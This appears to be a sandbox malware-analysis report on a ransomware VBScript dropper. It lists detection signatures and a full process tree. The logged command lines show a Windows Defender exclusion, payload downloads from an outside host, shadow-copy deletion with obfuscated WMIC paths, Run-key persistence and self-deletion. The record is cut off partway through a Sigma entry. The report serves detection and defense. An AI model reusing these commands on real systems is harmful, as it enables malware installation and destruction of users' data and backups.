Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS.vbs

Overview

General Information

Sample name:NOTIFICATION_OF_DEPENDANTS.vbs
Analysis ID:1575116
MD5:35bac32c4a974aca6eb45625ea91bdb9
SHA1:90b726a869c796b710340da2cdce72894cfb5321
SHA256:f7cbe1d0926c6e0895951882ff430d624630cd14b4d3b1a4c837a3feac71dd48
Tags:vbsuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Sigma detected: Delete shadow copy via WMIC
VBScript performs obfuscated calls to suspicious functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Deletes shadow drive data (may be related to ransomware)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
May encrypt documents and pictures (Ransomware)
Modifies existing user documents (likely ransomware behavior)
Overwrites Mozilla Firefox settings
Powershell drops PE file
Sigma detected: Control Panel Items
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
Sigma detected: Suspicious Ping/Del Command Combination
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Command Line Path Traversal Evasion Attempt
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Stores large binary data to the registry

Classification

  • System is w10x64
  • wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • cmd.exe (PID: 7420 cmdline: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7472 cmdline: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 04029E121A0CFA5991749937DD22A1D9)
        • chrome.exe (PID: 7660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
          • chrome.exe (PID: 7948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)
    • cmd.exe (PID: 7720 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7772 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp MD5: 04029E121A0CFA5991749937DD22A1D9)
    • cmd.exe (PID: 8272 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8352 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 04029E121A0CFA5991749937DD22A1D9)
    • cmd.exe (PID: 8784 cmdline: "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 8800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • control.exe (PID: 8928 cmdline: control C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 11C18DBF352D81C9532A8EF442151CB1)
        • rundll32.exe (PID: 9024 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: EF3179D498793BF4234F708D3BE28633)
          • rundll32.exe (PID: 9044 cmdline: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl MD5: 889B99C52A60DD49227C5E485A016679)
            • cmd.exe (PID: 3860 cmdline: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 1852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • powershell.exe (PID: 7260 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • cmd.exe (PID: 3664 cmdline: cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • powershell.exe (PID: 4020 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • cmd.exe (PID: 2656 cmdline: cmd /c %temp%/eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 8468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • eryy65ty.exe (PID: 8532 cmdline: C:\Users\user\AppData\Local\Temp/eryy65ty.exe MD5: 9049FABA5517305C44BD5F28398FB6B9)
                • WMIC.exe (PID: 8236 cmdline: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
                  • conhost.exe (PID: 876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • WMIC.exe (PID: 5528 cmdline: c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
                  • conhost.exe (PID: 8540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • cmd.exe (PID: 8848 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                  • conhost.exe (PID: 8808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                  • PING.EXE (PID: 7648 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • svchost.exe (PID: 7840 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • eryy65ty.exe (PID: 6708 cmdline: "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: 9049FABA5517305C44BD5F28398FB6B9)
    • WMIC.exe (PID: 2948 cmdline: c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 4220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • WMIC.exe (PID: 5080 cmdline: c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 5748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4936 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 5236 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • eryy65ty.exe (PID: 4008 cmdline: "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: 9049FABA5517305C44BD5F28398FB6B9)
    • WMIC.exe (PID: 6980 cmdline: c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • WMIC.exe (PID: 4652 cmdline: c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 6460 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 4824 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • notepad.exe (PID: 7560 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt MD5: 27F71B12CB585541885A31BE22F61C83)
  • cleanup
No configs have been found
No yara matches

Operating System Destruction

barindex
Source: Process startedAuthor: Joe Security: Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe

System Summary

barindex
Source: Process startedAuthor: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_): Data: Command: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8272, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8352, ProcessName: powershell.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, ProcessId: 7720, ProcessName: cmd.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe
Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\eryy65ty.exe . .d.....d. ....\.\...o..$.O "#..8.."P...8...c..S..."..#`..4....1..S.}..............]..................J....4.r...D.E........;.<.<.........1T.)n..n..^...O.`..............<.., EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, ProcessId: 7720, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe
Source: Process startedAuthor: Ilya Krestinichev: Data: Command: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", CommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe", ProcessId: 8848, ProcessName: cmd.exe
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ProcessId: 7336, ProcessName: wscript.exe
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\eryy65ty.exe . .d.....d. ....\.\...o..$.O "#..8.."P...8...c..S..."..#`..4....1..S.}..............]..................J....4.r...D.E........;.<.<.........1T.)n..n..^...O.`..............<.., EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW
Source: Process startedAuthor: Christian Burkard (Nextron Systems): Data: Command: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 8532, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete, ProcessId: 8236, ProcessName: WMIC.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp, ProcessId: 7720, ProcessName: cmd.exe
Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 8532, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 8272, ProcessName: cmd.exe
Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs", ProcessId: 7336, ProcessName: wscript.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, CommandLine: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7420, ParentProcessName: cmd.exe, ProcessCommandLine: powershell start-process 